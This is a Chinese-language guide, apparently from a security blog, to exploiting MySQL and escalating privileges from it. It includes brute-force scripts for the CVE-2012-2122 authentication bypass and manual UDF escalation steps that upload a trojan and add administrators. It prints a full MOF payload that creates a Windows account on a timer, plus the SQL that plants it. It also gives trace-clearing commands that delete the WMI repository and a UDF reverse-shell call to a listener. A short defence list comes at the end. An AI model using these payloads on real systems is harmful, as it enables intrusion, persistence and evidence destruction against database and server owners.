mysql数据库漏洞利用及提权方式小结
字数 1108 2025-08-25 22:58:40
MySQL数据库漏洞利用及提权方式详解
一、CVE-2012-2122 MySQL身份认证漏洞
影响版本
- MySQL 5.5.24之前版本
- MariaDB相应版本
漏洞原理
该漏洞允许攻击者在知道用户名的情况下,通过不断尝试即可直接登录MySQL数据库。根据官方公告,大约256次尝试就能成功登录一次。
漏洞复现方法
1. Metasploit利用
使用Metasploit框架中的相关模块进行利用,成功后可以获取密码哈希并进行解密。
2. Python利用脚本
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()
3. Shell利用脚本
for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done
二、MySQL UDF提权
文件位置要求
- MySQL版本大于5.1:udf.dll文件必须放在MySQL安装目录的
lib\plugin文件夹下 - MySQL版本小于5.1:
- Windows Server 2003:
c:\windows\system32 - Windows Server 2000:
c:\winnt\system32
- Windows Server 2003:
提权方法
1. 使用sqlmap进行UDF提权
sqlmap工具内置了UDF提权功能。
2. 使用Metasploit进行UDF提权
使用mysql_udf_payload模块(适用于5.5.9以下版本)
3. 手工UDF提权步骤
- 上传UDF文件(如暗月木马)
- 自动判断MySQL版本并确定导出dll文件位置
- 如无plugin目录则手动创建
- 导出udf.dll文件
- 执行系统命令(如添加管理员、开启3389端口等)
三、MySQL MOF提权
1. 直接上传文件MOF提权
上传mof.php文件,登录后执行任意命令。
2. 使用Metasploit进行MOF提权
使用mysql_mof模块(某些版本可能不成功)
3. 上传nullevt.mof文件提权
nullevt.mof文件源码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
使用方法
- 使用SQL语句将文件导入到
c:/windows/system32/wbem/mof/目录:
select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
注意:必须使用dumpfile而非outfile,因为outfile会在文件末尾写入新行,导致MOF文件无法正常执行。
- 成功执行后,系统会每5秒创建一个指定账户。
痕迹清理方法
net stop winmgmt
net user ghtwf011 /delete
cd c:/windows/system32/wbem
del repository
net start winmgmt
四、MySQL反弹端口提权
原理
通过声明一个backdoor函数实现反弹shell。
利用步骤
- 定义UDF.dll内容的16进制形式
- 依次执行相关命令
- 在Kali上使用nc监听指定端口
- 执行反弹shell命令:
select backshell("192.168.0.12",4444);
五、防御建议
- 及时更新MySQL到最新版本
- 限制MySQL用户的权限
- 禁用不必要的函数和特性
- 加强密码策略
- 限制远程访问
- 定期审计数据库配置和日志